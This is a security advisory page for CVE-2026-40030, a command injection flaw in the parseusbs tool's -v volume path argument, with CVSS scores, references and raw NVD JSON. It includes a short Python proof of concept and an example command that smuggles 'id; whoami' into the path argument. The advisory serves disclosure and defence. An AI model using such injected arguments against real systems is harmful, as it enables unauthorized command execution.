Security Vulnerability Report
中文
CVE-2026-40030 CVSS 7.8 HIGH

CVE-2026-40030

Published: 2026-04-08 22:16:23
Last Modified: 2026-04-13 20:27:38

Description

parseusbs before 1.9 contains an OS command injection vulnerability where the volume listing path argument (-v flag) is passed unsanitized into an os.popen() shell command with ls, allowing arbitrary command injection via crafted volume path arguments containing shell metacharacters. An attacker can provide a crafted volume path via the -v flag that injects arbitrary commands during volume content enumeration.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:khyrenz:parseusbs:*:*:*:*:*:*:*:* - VULNERABLE
parseusbs < 1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import subprocess # Proof of Concept for CVE-2026-40030 # Description: Exploits the unsanitized -v flag in parseusbs < 1.9 # The vulnerable application constructs a command like this: # command = "ls " + user_input # os.popen(command) # Malicious payload containing shell metacharacters # This payload attempts to execute 'id' and 'whoami' after the ls command payload = "/tmp/usb; id; whoami; #" print(f"[+] Simulating vulnerable execution with payload: {payload}") # In a real attack scenario, the user runs: # parseusbs -v "/tmp/usb; id; whoami; #" # This demonstrates the injection logic vulnerable_cmd = f"ls {payload}" print(f"[+] Executing command: {vulnerable_cmd}") # Note: Do not run this in production. This is for educational purposes only. # process = subprocess.Popen(vulnerable_cmd, shell=True)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40030", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:23.483", "lastModified": "2026-04-13T20:27:37.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "parseusbs before 1.9 contains an OS command injection vulnerability where the volume listing path argument (-v flag) is passed unsanitized into an os.popen() shell command with ls, allowing arbitrary command injection via crafted volume path arguments containing shell metacharacters. An attacker can provide a crafted volume path via the -v flag that injects arbitrary commands during volume content enumeration."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:khyrenz:parseusbs:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9", "matchCriteriaId": "7F7B9F1A-2137-42B6-8E28-88D4790F4892"}]}]}], "references": [{"url": "https://github.com/khyrenz/parseusbs/commit/99f05996494e7e41ea0c7e13145ba20eb793e46b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/khyrenz/parseusbs/pull/10", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/parseusbs-command-injection-via-volume-path-argument", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}